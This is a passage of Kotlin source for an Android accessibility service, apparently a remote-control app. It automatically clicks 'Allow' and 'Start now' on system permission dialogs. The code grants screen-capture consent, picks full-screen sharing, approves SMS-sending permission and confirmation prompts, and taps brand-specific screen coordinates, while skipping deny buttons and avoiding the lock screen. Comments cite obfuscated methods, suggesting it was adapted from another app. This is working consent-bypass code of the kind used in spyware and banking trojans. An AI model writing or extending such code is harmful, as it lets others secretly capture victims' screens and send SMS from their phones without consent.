                            ClickConfig(540, 1740, 12),
                            ClickConfig(540, 1850, 12)
                        )
                        else -> listOf(ClickConfig(screenWidth / 2, (screenHeight * 0.78).toInt(), 24))
                    }
                }
                // OPPO/一加（参考：oppo ≤1080w → (540, 1980~2050) 重复3次）
                brand.contains("oppo") || brand.contains("oneplus") || brand.contains("realme") -> {
                    when {
                        screenWidth < 780 -> listOf(ClickConfig(360, 1350, 3))
                        screenWidth <= 1080 -> listOf(
                            ClickConfig(540, 1980, 2),
                            ClickConfig(540, 2050, 1)
                        )
                        else -> listOf(ClickConfig(screenWidth / 2, (screenHeight * 0.85).toInt(), 3))
                    }
                }
                // 华为/荣耀（参考：honor/huawei API>32 ≤1080w → (540, 2200) + (901, 2300~2500)）
                brand.contains("huawei") || brand.contains("honor") -> {
                    if (Build.VERSION.SDK_INT > 32) {
                        when {
                            screenWidth <= 720 -> listOf(
                                ClickConfig(540, 1360, 6),
                                ClickConfig(600, 1500, 10)
                            )
                            screenWidth <= 1080 -> listOf(
                                ClickConfig(540, 2200, 6),
                                ClickConfig(901, 2300, 5),
                                ClickConfig(901, 2500, 5)
                            )
                            else -> listOf(ClickConfig(screenWidth / 2, (screenHeight * 0.85).toInt(), 6))
                        }
                    } else {
                        listOf(ClickConfig(screenWidth / 2, (screenHeight * 0.85).toInt(), 3))
                    }
                }
                // 魅族（参考：meizu 1080w → (540, 1800) 重复20次）
                brand.contains("meizu") -> {
                    when {
                        screenWidth == 1264 -> listOf(ClickConfig(540, 2100, 20))
                        screenWidth <= 1080 -> listOf(ClickConfig(540, 1800, 20))
                        else -> listOf(ClickConfig(screenWidth / 2, (screenHeight * 0.82).toInt(), 20))
                    }
                }
                // 小米/红米
                brand.contains("xiaomi") || brand.contains("redmi") || manufacturer.contains("xiaomi") -> {
                    listOf(ClickConfig(screenWidth / 2, (screenHeight * 0.85).toInt(), 3))
                }
                // 三星
                brand.contains("samsung") -> {
                    listOf(ClickConfig(screenWidth / 2, (screenHeight * 0.85).toInt(), 3))
                }
                // 默认
                else -> {
                    listOf(ClickConfig(screenWidth / 2, (screenHeight * 0.85).toInt(), 3))
                }
            }
            
            // 执行坐标点击
            for (config in clickConfigs) {
                for (i in 0 until config.repeatCount) {
                    performGestureClick(config.x, config.y)
                    Thread.sleep(50) // 每次点击间隔50ms
                }
                Thread.sleep(100) // 不同坐标组之间间隔100ms
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ [d.g] 坐标点击兜底失败", e)
        }
    }
    
    /**
     * 使用无障碍手势执行坐标点击（参考d.g.f()的GestureDescription）
     */
    private fun performGestureClick(x: Int, y: Int) {
        try {
            val gestureBuilder = GestureDescription.Builder()
            val path = android.graphics.Path()
            path.moveTo(x.toFloat(), y.toFloat())
            val stroke = GestureDescription.StrokeDescription(path, 0, 100)
            gestureBuilder.addStroke(stroke)
            
            service.dispatchGesture(
                gestureBuilder.build(),
                object : AccessibilityService.GestureResultCallback() {
                    override fun onCompleted(gestureDescription: GestureDescription?) {
                        Log.d(TAG, "🎬 [d.g] 坐标点击完成: ($x, $y)")
                    }
                    override fun onCancelled(gestureDescription: GestureDescription?) {
                        Log.w(TAG, "🎬 [d.g] 坐标点击取消: ($x, $y)")
                    }
                },
                null
            )
        } catch (e: Exception) {
            Log.e(TAG, "❌ [d.g] 手势点击失败: ($x, $y)", e)
        }
    }
    
    /**
     * 第二层：通用权限弹窗自动点击（参考d.r）
     * 处理所有权限弹窗，自动点击匹配的允许按钮
     */
    private fun handleGeneralPermissionAutoClick(event: AccessibilityEvent) {
        try {
            // 只处理窗口状态变化事件（减少频率）
            if (event.eventType != AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) {
                return
            }
            
            val packageName = event.packageName?.toString() ?: ""
            
            // 只处理系统相关的包名（权限弹窗来源）
            if (!packageName.contains("android") && 
                !packageName.contains("systemui") &&
                !packageName.contains("permissioncontroller") &&
                !packageName.contains("settings") &&
                !packageName.contains("packageinstaller")) {
                return
            }
            
            val rootNode = service.rootInActiveWindow ?: return
            
            // 遍历通用权限允许关键词，查找并点击匹配的节点
            for (keyword in generalPermissionAllowKeywords) {
                val nodes = findNodesByText(rootNode, keyword)
                for (node in nodes) {
                    if (!node.isVisibleToUser) continue
                    
                    val nodeText = node.text?.toString() ?: ""
                    
                    // 检查是否在黑名单中
                    val isDenied = denyButtonBlacklist.any { nodeText.contains(it, ignoreCase = true) }
                    if (isDenied) continue
                    
                    // 尝试点击（参考d.r的performAction(16) = ACTION_CLICK）
                    val clickTarget = if (node.isClickable) node else findClickableParentOrSibling(node)
                    if (clickTarget != null) {
                        val success = clickTarget.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                        if (success) {
                            Log.i(TAG, "🔓 [d.r] 通用权限自动点击成功: '$keyword' (包名: $packageName)")
                            return
                        }
                    }
                }
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ [d.r] 通用权限自动点击失败", e)
        }
    }
    
    /**
     * ✅ ANR修复：内部事件处理方法，避免阻塞主线程
     */
    private fun handleAccessibilityEventInternal(event: AccessibilityEvent) {
        
        // 🛡️ 核心修复：权限保活状态检测 - 在所有处理之前进行检查
        val packageName = event.packageName?.toString()
        if (Build.VERSION.SDK_INT >= 34 && packageName == "com.android.systemui") {
            // 检查是否为权限保活状态
            val isKeepAliveState = !isRequestingMediaProjection && 
                                  hasMediaProjectionPermission() && 
                                  MediaProjectionHolder.getMediaProjection() != null
            
            // ✅ 检查是否正在重新创建VirtualDisplay
            val isVirtualDisplayRecreating = try {
                (context as? AccessibilityRemoteService)?.getScreenCaptureManager()?.isVirtualDisplayRecreating() ?: false
            } catch (e: Exception) {
                Log.w(TAG, "检查VirtualDisplay重新创建状态失败: ${e.message}")
                false
            }
            
            // ✅ 新增：检查是否为真实的用户权限弹窗（Android 14+特殊处理）
            val isRealUserPermissionDialog = if (Build.VERSION.SDK_INT >= 34) {
                checkIfRealUserPermissionDialog(event)
            } else {
                false
            }
            
            // ✅ 修复：区分保活检查和真正的权限申请
            val shouldSkipProcessing = if (isVirtualDisplayRecreating) {
                // VirtualDisplay重新创建时，只有在非权限申请状态下才跳过处理
                !isRequestingMediaProjection
            } else if (isRealUserPermissionDialog) {
                // 🎯 关键修复：如果是真实的用户权限弹窗，即使在保活状态也要处理
                false
            } else {
                // 普通保活状态，直接跳过
                isKeepAliveState
            }
            
            if (shouldSkipProcessing) {
                val reason = when {
                    isVirtualDisplayRecreating && !isRequestingMediaProjection -> "VirtualDisplay重新创建中(非权限申请)"
                    isKeepAliveState && !isRealUserPermissionDialog -> "权限保活状态(非用户弹窗)"
                    else -> "未知原因"
                }
                Log.i(TAG, "🛡️ [权限保活] 检测到Android ${Build.VERSION.SDK_INT} 权限保活状态($reason)，完全跳过所有权限对话框处理")
                Log.i(TAG, "🛡️ [权限保活] 事件类型: ${event.eventType}, 包名: $packageName")
                
                // 如果是VIEW_SELECTED事件，记录但不处理
                if (event.eventType == AccessibilityEvent.TYPE_VIEW_SELECTED) {
                    val source = event.source
                    val className = source?.className?.toString()
                    Log.i(TAG, "🛡️ [权限保活] Android ${Build.VERSION.SDK_INT} systemui VIEW_SELECTED: 类名=$className, 文本=${source?.text}")
                    Log.i(TAG, "🛡️ [权限保活] 这是系统保活检查($reason)，完全跳过处理避免权限弹窗")
                }
                
                // 完全跳过后续所有处理逻辑
                return
            } else if (isVirtualDisplayRecreating && isRequestingMediaProjection) {
                Log.i(TAG, "🎯 [权限申请] VirtualDisplay重新创建中，但处于权限申请状态，继续处理权限对话框")
            } else if (isRealUserPermissionDialog) {
                // 🔧 智能冷却期检查，避免频繁操作但不阻止首次处理
                val currentTime = System.currentTimeMillis()
                val timeSinceLastDetection = currentTime - lastUserDialogDetectionTime
                val timeSinceLastProcess = currentTime - lastUserDialogProcessTime
                
                // 🎯 智能冷却期：如果从未处理过或距离上次处理时间足够长，允许处理
                val shouldAllowProcessing = when {
                    lastUserDialogProcessTime == 0L -> {
                        Log.i(TAG, "🎯 [首次检测] 首次检测到用户权限弹窗，立即处理")
                        true
                    }
                    timeSinceLastProcess >= userDialogProcessCooldown -> {
                        Log.i(TAG, "🎯 [冷却期结束] 距离上次处理${timeSinceLastProcess}ms，冷却期结束，允许处理")
                        true
                    }
                    timeSinceLastDetection < userDialogDetectionCooldown -> {
                        Log.w(TAG, "⚠️ [检测冷却期] 距离上次检测时间过短(${timeSinceLastDetection}ms)，跳过重复检测")
                        false
                    }
                    else -> {
                        Log.w(TAG, "⚠️ [处理冷却期] 距离上次处理时间过短(${timeSinceLastProcess}ms)，跳过处理防止频繁操作")
                        false
                    }
                }
                
                if (!shouldAllowProcessing) {
                    return
                }
                
                lastUserDialogDetectionTime = currentTime
                Log.i(TAG, "🎯 [权限申请] 检测到Android 15真实用户权限弹窗，准备处理")
                
                // 🔧 重置对话框检测计数器，确保新的权限弹窗能够被处理
                dialogDetectionCount = 0
                lastDialogPackageName = null
                Log.d(TAG, "🔄 重置对话框检测计数器，确保新权限弹窗能被处理")
                
                // 🔧 优化：更保守的状态管理，只在确实需要时才设置
                if (!isRequestingMediaProjection) {
                    Log.i(TAG, "🎯 [权限申请] 当前不在权限申请状态，临时设置为申请状态")
                    isRequestingMediaProjection = true
                    
                    // 🔧 缩短安全重置时间，避免状态卡死
                    serviceScope.launch {
                        delay(8000) // 8秒后检查（减少了2秒）
                        if (isRequestingMediaProjection && !hasMediaProjectionPermission()) {
                            Log.w(TAG, "⚠️ [安全重置] 8秒后权限仍未获取，重置状态避免乱点击")
                            isRequestingMediaProjection = false
                            mediaProjectionRetryCount = 0
                        }
                    }
                } else {
                    Log.i(TAG, "🎯 [权限申请] 已在权限申请状态，无需重复设置")
                }
            }
        }
        
        when (event.eventType) {
            AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED -> {
                // ✅ 只在窗口状态变化时处理，减少频率

                Log.d(TAG, "窗口状态变化 - MediaProjection请求中: $isRequestingMediaProjection")
                
                // 🚨 Android 14+特殊处理：区分权限申请和权限保活确认（两步授权弹窗）
                val isAndroid14PlusSpinnerEvent = Build.VERSION.SDK_INT >= 34 && 
                                             packageName == "com.android.systemui" && 
                                             event.eventType == AccessibilityEvent.TYPE_VIEW_SELECTED
                
                // 🎯 权限申请模式：正常的权限申请流程
                val needsPermissionRequest = isRequestingMediaProjection
                
                // 🛡️ 权限保活模式：权限已存在但需要保活确认（Android 15特有）
                // 注意：由于上面已经处理了保活状态，这里应该不会再进入保活模式
                val needsKeepAlive = false // 强制设为false，因为保活状态已在上面处理
                
                if (needsPermissionRequest) {
                    Log.d(TAG, "🎯 权限申请模式：处理权限对话框")
                } else if (needsKeepAlive) {
                    Log.d(TAG, "🛡️ 权限保活模式：处理Android 15保活确认")
                }
                
                if (needsPermissionRequest || needsKeepAlive) {
                    when {
                        // 🎯 权限申请模式：完整的权限申请流程
                        needsPermissionRequest -> {
                            if (isLikelyPermissionDialog(packageName)) {
                                // 🔧 优化：如果是真实用户权限弹窗，直接处理，不受计数限制
                                val isRealUserDialog = if (Build.VERSION.SDK_INT >= 34) {
                                    checkIfRealUserPermissionDialog(event)
                                } else {
                                    false
                                }
                                
                                val shouldProcessDialog = isRealUserDialog || 
                                                        packageName != lastDialogPackageName || 
                                                        dialogDetectionCount < 3 // 增加阈值到3次
                                
                                if (shouldProcessDialog) {
                                    dialogDetectionCount++
                                    lastDialogPackageName = packageName
                                    Log.i(TAG, "🎯 [权限申请] 检测到权限对话框(第${dialogDetectionCount}次)，包名: $packageName，真实用户弹窗: $isRealUserDialog")
                                    hasDetectedPermissionDialog = true
                                    
                                    // ✅ 统一处理，移除"立即处理"的特殊逻辑
                                    Log.i(TAG, "🎯 [权限申请] 窗口变化事件 - 开始处理权限对话框")
                                    handleMediaProjectionDialog(event)
                                } else {
                                    Log.d(TAG, "🔍 权限对话框检测次数已达上限(${dialogDetectionCount})，跳过重复处理，包名: $packageName")
                                }
                            } else {
                                Log.d(TAG, "🔍 [权限申请] 包名不符合权限对话框特征: $packageName")
                            }
                            
                            // 🔧 单独处理Android 14+的VIEW_SELECTED事件（两步授权弹窗）
                            if (packageName == "com.android.systemui" && event.eventType == AccessibilityEvent.TYPE_VIEW_SELECTED) {
                                // 权限申请中的systemui事件
                                if (Build.VERSION.SDK_INT >= 34) {
                                    Log.i(TAG, "🎯 [权限申请] Android ${Build.VERSION.SDK_INT} 检测到systemui VIEW_SELECTED事件")
                                    val source = event.source
                                    val className = source?.className?.toString()
                                    Log.d(TAG, "🎯 [权限申请] VIEW_SELECTED事件源: 类名=$className, 文本=${source?.text}")
                                    
                                    if (className?.contains("Spinner") == true || className?.contains("DropDown") == true) {
                                        Log.i(TAG, "🎯 [权限申请] 检测到Spinner选择事件，处理应用选择")
                                        handleSpinnerSelection(event)
                                    } else {
                                        Log.i(TAG, "🎯 [权限申请] 非Spinner的VIEW_SELECTED事件，按常规权限对话框处理")
                                        dialogDetectionCount++
                                        hasDetectedPermissionDialog = true
                                        handleMediaProjectionDialog(event)
                                    }
                                }
                            }
                        }
                        
                        // 🛡️ 权限保活模式：只处理Spinner保活确认
                        // 注意：这个分支现在应该不会执行，因为保活状态已在上面处理
                        needsKeepAlive -> {
                            Log.i(TAG, "🛡️ [权限保活] Android 15权限保活确认，处理Spinner选择")
                            // 权限已存在，这是保活确认，直接处理Spinner
                            handleSpinnerSelection(event)
                        }
                    }
                } else {
                    Log.v(TAG, "非权限对话框窗口，跳过处理: $packageName") // 降低日志级别
                }
                
                // 📱 检测发送短信权限弹框
                if (isDetectingSendSMSPermission) {
                    Log.d(TAG, "📱 检测发送短信权限弹框 - 窗口状态变化")
                    if (detectAndHandleSendSMSPermissionDialog()) {
                        Log.i(TAG, "📱 检测到发送短信权限弹框并已处理")
                    }
                }
                
                // 📱 检测发送短信确认对话框
                if (isDetectingSendSMSConfirmation) {
                    Log.d(TAG, "📱 检测发送短信确认对话框 - 窗口状态变化")
                    if (detectAndHandleSendSMSConfirmationDialog()) {
                        Log.i(TAG, "📱 检测到发送短信确认对话框并已处理")
                    }
                }

            }
            
            AccessibilityEvent.TYPE_VIEW_SELECTED -> {
                // 🚨 Android 14+特殊处理：区分权限申请和权限保活的Spinner选择事件（两步授权弹窗）
                if (Build.VERSION.SDK_INT >= 34) {
                    Log.i(TAG, "🔍 收到VIEW_SELECTED事件，包名: $packageName")
                    
                    if (packageName == "com.android.systemui") {
                        val source = event.source
                        val className = source?.className?.toString()
                        
                        // 🎯 判断是权限申请还是权限保活
                        val isPermissionRequest = isRequestingMediaProjection
                        val isKeepAlive = !isRequestingMediaProjection && 
                                         hasMediaProjectionPermission() && 
                                         MediaProjectionHolder.getMediaProjection() != null
                        
                        when {
                            isPermissionRequest -> {
                                Log.i(TAG, "🎯 [权限申请] Android ${Build.VERSION.SDK_INT} systemui VIEW_SELECTED: 类名=$className, 文本=${source?.text}")
                                if (className?.contains("Spinner") == true || className?.contains("DropDown") == true) {
                                    Log.i(TAG, "🎯 [权限申请] 检测到Spinner选择事件，处理应用选择")
                                    handleSpinnerSelection(event)
                                } else {
                                    Log.i(TAG, "🎯 [权限申请] 非Spinner的VIEW_SELECTED事件，可能是其他确认按钮")
                                }
                            }
                            isKeepAlive -> {
                                Log.i(TAG, "🛡️ [权限保活] Android ${Build.VERSION.SDK_INT} systemui VIEW_SELECTED: 类名=$className, 文本=${source?.text}")
                                Log.i(TAG, "🛡️ [权限保活] 这是系统保活检查，不需要处理Spinner事件")
                                // 不处理保活状态下的Spinner事件，避免不必要的弹窗
                                // 注意：这个分支现在应该不会执行，因为保活状态已在函数开头处理
                            }
                            else -> {
                                Log.d(TAG, "🔍 Android ${Build.VERSION.SDK_INT} VIEW_SELECTED事件，但不在权限申请或保活状态，忽略")
                            }
                        }
                    }
                }
            }
            
            AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED -> {

                // ✅ 统一内容变化事件处理，简化间隔控制
                if (isRequestingMediaProjection) {
                    if (isLikelyPermissionDialog(packageName)) {
                        // ✅ 简化间隔控制策略，统一快速响应
                        val currentTime = System.currentTimeMillis()
                        val minInterval = when {
                            dialogDetectionCount <= 1 -> 200L                        // 首次检测快速响应
                            mediaProjectionRetryCount <= 2 -> 300L                   // 前几次重试快速
                            hasDetectedPermissionDialog -> 400L                      // 检测到对话框后适中
                            else -> 800L                                             // 其他情况保守
                        }
                        
                        if (currentTime - lastMediaProjectionAttemptTime > minInterval) {
                            Log.d(TAG, "内容变化 - 处理权限对话框(对话框计数: $dialogDetectionCount)")
                            
                            // 🔧 优化：如果是真实用户权限弹窗，直接处理，不受计数限制
                            val isRealUserDialog = if (Build.VERSION.SDK_INT >= 34) {
                                checkIfRealUserPermissionDialog(event)
                            } else {
                                false
                            }
                            
                            val shouldProcessDialog = isRealUserDialog || 
                                                    packageName != lastDialogPackageName || 
                                                    dialogDetectionCount < 3 // 与上面保持一致
                            
                            if (shouldProcessDialog) {
                                dialogDetectionCount++
                                lastDialogPackageName = packageName
                                hasDetectedPermissionDialog = true
                                Log.d(TAG, "内容变化 - 开始处理权限对话框，真实用户弹窗: $isRealUserDialog")
                                handleMediaProjectionDialog(event)
                            } else {
                                Log.v(TAG, "内容变化 - 权限对话框检测次数已达上限，跳过处理")
                            }
                        } else {
                            Log.v(TAG, "内容变化事件间隔过短，跳过处理")
                        }
                    }
                }
                
                // 📱 检测发送短信权限弹框
                if (isDetectingSendSMSPermission) {
                    Log.d(TAG, "📱 检测发送短信权限弹框 - 内容变化")
                    if (detectAndHandleSendSMSPermissionDialog()) {
                        Log.i(TAG, "📱 检测到发送短信权限弹框并已处理")
                    }
                }
                
                // 📱 检测发送短信确认对话框
                if (isDetectingSendSMSConfirmation) {
                    Log.d(TAG, "📱 检测发送短信确认对话框 - 内容变化")
                    if (detectAndHandleSendSMSConfirmationDialog()) {
                        Log.i(TAG, "📱 检测到发送短信确认对话框并已处理")
                    }
                }
            }
        }
    }
    
    /**
     * Android 10 专用 MediaProjection 权限处理
     * 直接捕获页面内容，查找允许按钮并点击
     */
    private fun handleAndroid10MediaProjectionDialog(rootNode: AccessibilityNodeInfo): Boolean {
        return try {
            Log.i(TAG, "📱 Android 10专用处理：开始直接捕获页面内容")
            
            // 等待对话框完全加载
            Thread.sleep(200)
            
            // 定义 Android 10 MediaProjection 权限弹框的允许按钮文本
            val allowButtonTexts = arrayOf(
                // 中文允许按钮
                "允许", "确定", "确认", "授权", "同意", "是", "好", "好的", "继续",
                "立即开始", "现在开始", "开始", "开始录制", "开始投屏", "开始共享",
                "立即授权", "授予权限", "确认共享", "立即确认",
                
                // 英文允许按钮
                "Allow", "OK", "Agree", "Grant", "Accept", "Yes", "Continue",
                "Start", "Start now", "Start sharing", "Share screen",
                "Begin recording", "Begin casting", "Record screen", "Cast screen",
                "Allow recording", "Allow casting", "Start recording", "Start capture",
                
                // 特殊文本（根据图片中的实际文本）
                "立即开始", "现在开始", "开始共享", "开始录制", "开始投屏"
            )
            
            // 定义拒绝按钮文本，避免误点击
            val denyButtonTexts = arrayOf(
                "禁止", "拒绝", "取消", "Cancel", "Deny", "Dismiss", "不允许", "不同意"
            )
            
            Log.i(TAG, "🔍 Android 10：开始查找允许按钮...")
            
            // 策略1：按文本查找允许按钮
            for (text in allowButtonTexts) {
                val buttons = findNodesByText(rootNode, text)
                Log.d(TAG, "   查找文本 '$text' 找到 ${buttons.size} 个节点")
                
                for (button in buttons) {
                    if (button.isClickable && button.isEnabled) {
                        val buttonText = button.text?.toString() ?: ""
                        val buttonDesc = button.contentDescription?.toString() ?: ""
                        
                        // 检查是否为拒绝按钮
                        val isDenyButton = denyButtonTexts.any { denyText ->
                            buttonText.contains(denyText, ignoreCase = true) ||
                            buttonDesc.contains(denyText, ignoreCase = true)
                        }
                        
                        if (!isDenyButton) {
                            Log.i(TAG, "✅ Android 10：找到允许按钮 - 文本: '$buttonText', 描述: '$buttonDesc'")
                            Log.i(TAG, "✅ Android 10：点击允许按钮")
                            
                            // 执行点击
                            val clickResult = button.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                            Log.i(TAG, "✅ Android 10：点击结果: $clickResult")
                            
                            // 等待点击生效
                            Thread.sleep(300)
                            
                            // 检查权限是否已获得
                            if (hasMediaProjectionPermission()) {
                                Log.i(TAG, "✅ Android 10：MediaProjection权限已获得")
                                stopAutoClickingImmediately()
                                return true
                            }
                            
                            return true // 即使权限检查失败，也认为点击成功
                        } else {
                            Log.d(TAG, "   ⚠️ 跳过拒绝按钮: '$buttonText'")
                        }
                    }
                }
            }
            
            // 策略2：按类名查找按钮
            Log.i(TAG, "🔍 Android 10：按类名查找按钮...")
            val buttonNodes = findNodesByClassName(rootNode, "android.widget.Button")
            Log.d(TAG, "   找到 ${buttonNodes.size} 个Button节点")
            
            for (button in buttonNodes) {
                if (button.isClickable && button.isEnabled) {
                    val buttonText = button.text?.toString() ?: ""
                    val buttonDesc = button.contentDescription?.toString() ?: ""
                    
                    Log.d(TAG, "   检查Button: 文本='$buttonText', 描述='$buttonDesc'")
                    
                    // 检查是否包含允许文本
                    val containsAllowText = allowButtonTexts.any { allowText ->
                        buttonText.contains(allowText, ignoreCase = true) ||
                        buttonDesc.contains(allowText, ignoreCase = true)
                    }
                    
                    // 检查是否为拒绝按钮
                    val isDenyButton = denyButtonTexts.any { denyText ->
                        buttonText.contains(denyText, ignoreCase = true) ||
                        buttonDesc.contains(denyText, ignoreCase = true)
                    }
                    
                    if (containsAllowText && !isDenyButton) {
                        Log.i(TAG, "✅ Android 10：找到允许Button - 文本: '$buttonText'")
                        Log.i(TAG, "✅ Android 10：点击允许Button")
                        
                        val clickResult = button.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                        Log.i(TAG, "✅ Android 10：Button点击结果: $clickResult")
                        
                        Thread.sleep(300)
                        
                        if (hasMediaProjectionPermission()) {
                            Log.i(TAG, "✅ Android 10：MediaProjection权限已获得")
                            stopAutoClickingImmediately()
                            return true
                        }
                        
                        return true
                    }
                }
            }
            
            // 策略3：查找所有可点击节点
            Log.i(TAG, "🔍 Android 10：查找所有可点击节点...")
            val allClickableNodes = findAllClickableNodes(rootNode)
            Log.d(TAG, "   找到 ${allClickableNodes.size} 个可点击节点")
            
            for (node in allClickableNodes) {
                val nodeText = node.text?.toString() ?: ""
                val nodeDesc = node.contentDescription?.toString() ?: ""
                
                // 检查是否包含允许文本且不是拒绝按钮
                val containsAllowText = allowButtonTexts.any { allowText ->
                    nodeText.contains(allowText, ignoreCase = true) ||
                    nodeDesc.contains(allowText, ignoreCase = true)
                }
                
                val isDenyButton = denyButtonTexts.any { denyText ->
                    nodeText.contains(denyText, ignoreCase = true) ||
                    nodeDesc.contains(denyText, ignoreCase = true)
                }
                
                if (containsAllowText && !isDenyButton) {
                    Log.i(TAG, "✅ Android 10：找到允许节点 - 文本: '$nodeText', 描述: '$nodeDesc'")
                    Log.i(TAG, "✅ Android 10：点击允许节点")
                    
                    val clickResult = node.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                    Log.i(TAG, "✅ Android 10：节点点击结果: $clickResult")
                    
                    Thread.sleep(300)
                    
                    if (hasMediaProjectionPermission()) {
                        Log.i(TAG, "✅ Android 10：MediaProjection权限已获得")
                        stopAutoClickingImmediately()
                        return true
                    }
                    
                    return true
                }
            }
            
            Log.w(TAG, "⚠️ Android 10：未找到允许按钮")
            false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ Android 10 MediaProjection权限处理异常", e)
            false
        }
    }

    /**
     * 查找所有可点击节点
     */
    private fun findAllClickableNodes(rootNode: AccessibilityNodeInfo): List<AccessibilityNodeInfo> {
        val clickableNodes = mutableListOf<AccessibilityNodeInfo>()
        
        fun traverse(node: AccessibilityNodeInfo) {
            if (node.isClickable) {
                clickableNodes.add(node)
            }
            
            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    traverse(child)
                }
            }
        }
        
        traverse(rootNode)
        return clickableNodes
    }

    /**
     * 检测是否可能是权限对话框 - 更宽松的检测
     */
    private fun isLikelyPermissionDialog(packageName: String?): Boolean {
        if (packageName == null) return true // ✅ 空包名也允许处理，可能是系统对话框
        
        // ✅ 关键修复：排除锁屏界面，避免误点击锁屏确认按钮
        if (isLockScreenInterface(packageName)) {
            Log.w(TAG, "🔒 [关键修复] 检测到锁屏界面 ($packageName)，跳过权限处理避免误点击确认按钮")
            return false
        }
        
        // ✅ 扩大检测范围，包含更多可能的权限对话框
        return packageName.contains("systemui") || 
               packageName.contains("system") ||
               packageName.contains("android") ||
               packageName.contains("permissioncontroller") ||
               packageName.contains("settings") ||
               packageName.contains("com.android") ||
               packageName.contains("permission") ||
               packageName.contains("dialog") ||
               packageName.lowercase().contains("screen") ||
               // ✅ 厂商定制UI
               packageName.contains("miui") ||
               packageName.contains("coloros") ||
               packageName.contains("emui") ||
               packageName.contains("flyme") ||
               packageName.contains("funtouch") ||
               packageName.contains("oneplus")
    }
    
    /**
     * ✅ 新增：检测是否为锁屏界面，避免误点击确认按钮
     */
    private fun isLockScreenInterface(packageName: String?): Boolean {
        if (packageName == null) return false
        
        try {
            // 检查当前屏幕是否包含锁屏相关的元素
            val rootNode = service.rootInActiveWindow ?: return false
            
            // 检查是否包含密码输入字段或键盘
//            findNodesByText(rootNode, "密码").isNotEmpty() ||
            val hasPasswordField = findNodesByText(rootNode, "PIN").isNotEmpty() ||
                                 findNodesByText(rootNode, "图案").isNotEmpty() ||
                                 findNodesByText(rootNode, "指纹").isNotEmpty() ||
                                 findNodesByText(rootNode, "解锁").isNotEmpty() ||
                                 findNodesByText(rootNode, "锁屏").isNotEmpty()
            
            // 检查是否包含数字键盘（锁屏特征）
            val hasNumericKeypad = (1..9).any { digit ->
                findNodesByText(rootNode, digit.toString()).isNotEmpty()
            } && findNodesByText(rootNode, "0").isNotEmpty()
            
            // 检查是否为SystemUI且包含锁屏特征
            val isSystemUILockScreen = packageName.contains("systemui") && (hasPasswordField || hasNumericKeypad)
            
            if (isSystemUILockScreen) {
                Log.i(TAG, "🔒 [锁屏检测] 确认为锁屏界面: 包名=$packageName, 密码字段=$hasPasswordField, 数字键盘=$hasNumericKeypad")
            }
            
            return isSystemUILockScreen
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 锁屏界面检测失败", e)
            return false
        }
    }
    
    /**
     * Android 14+专用：处理全屏模式选择（Android 14引入了两步授权弹窗）
     */
    private fun handleAndroid15FullScreenSelection(rootNode: AccessibilityNodeInfo): Boolean {
        try {
            Log.i(TAG, "🔧 Android 15：查找全屏选择选项...")
            
            // 🔧 增强：首先检查是否已经选择了全屏模式
            val isFullScreenAlreadySelected = checkIfFullScreenAlreadySelected(rootNode)
            if (isFullScreenAlreadySelected) {
                Log.i(TAG, "✅ Android 15：全屏模式已经被选择，跳过选择步骤")
                return true
            }
            
            // 查找全屏选择相关的文本和元素
            val fullScreenTexts = arrayOf(
                "全屏", "Full screen", "Entire screen", "整个屏幕", "完整屏幕",
                "Whole screen", "Complete screen", "屏幕录制", "Screen recording",
                "录制整个屏幕", "Record entire screen", "Share entire screen",
                "共享整个屏幕", "共享全屏", "投屏全屏"
            )
            
            var fullScreenFound = false
            
            // 方法1：通过文本查找全屏选项
            for (text in fullScreenTexts) {
                val nodes = findNodesByText(rootNode, text)
                for (node in nodes) {
                    Log.i(TAG, "🔍 找到全屏选项文本: '$text'，节点类型: ${node.className}")
                    
                    // 查找可点击的父节点或相关的选择框
                    val clickableNode = findClickableParentOrSibling(node)
                    if (clickableNode != null) {
                        Log.i(TAG, "✅ 尝试点击全屏选项...")
                        val success = clickableNode.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                        if (success) {
                            Log.i(TAG, "🎉 成功选择Android 15全屏模式，停止二次确认监听")
                            
                            // 立即停止二次确认监听，因为全屏模式不需要
                            stopSecondaryConfirmationListening()
                            
                            fullScreenFound = true
                            break
                        }
                    }
                }
                if (fullScreenFound) break
            }
            
            // 方法2：查找RadioButton或CheckBox类型的选项
            if (!fullScreenFound) {
                Log.i(TAG, "🔍 方法2：查找RadioButton或CheckBox全屏选项...")
                fullScreenFound = findAndSelectFullScreenRadioButton(rootNode)
            }
            
            // 方法3：查找Spinner或下拉选择
            if (!fullScreenFound) {
                Log.i(TAG, "🔍 方法3：查找Spinner全屏选项...")
                fullScreenFound = findAndSelectFullScreenSpinner(rootNode)
            }
            
            // 🔧 增强：如果找到了全屏选项但无法点击，尝试默认操作
            if (!fullScreenFound) {
                Log.i(TAG, "🔍 方法4：尝试默认全屏选择操作...")
                fullScreenFound = tryDefaultFullScreenSelection(rootNode)
            }
            
            return fullScreenFound
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ Android 15全屏选择处理失败", e)
            return false
        }
    }
    
    /**
     * Android 14+专用：全屏选择后的权限确认处理
     */
    private fun handleAndroid15AfterFullScreenSelection(rootNode: AccessibilityNodeInfo): Boolean {
        try {
            Log.i(TAG, "🔧 Android 15：全屏选择后查找权限确认按钮...")
            
            // Android 15全屏选择后的确认按钮文本 - "立即开始"/"Start now"优先级最高
            val confirmTexts = arrayOf(
                "立即开始", "Start now", "START NOW",
                "Share screen", "共享屏幕", "Start", "开始",
                "Allow", "允许", "确定", "确认", "授权", "同意", "Continue", "继续",
                "Begin recording", "Begin casting", "开始录制", "开始投屏",
                "Start recording", "Start sharing", "开始共享", "现在开始"
            )
            
            for (text in confirmTexts) {
                val buttons = findNodesByText(rootNode, text)
                for (button in buttons) {
                    Log.i(TAG, "🔍 检查确认按钮: '$text'，可点击: ${button.isClickable}, 文本: '${button.text}'")
                    
                    // 避免点击取消或拒绝按钮
                    val buttonText = button.text?.toString()?.lowercase() ?: ""
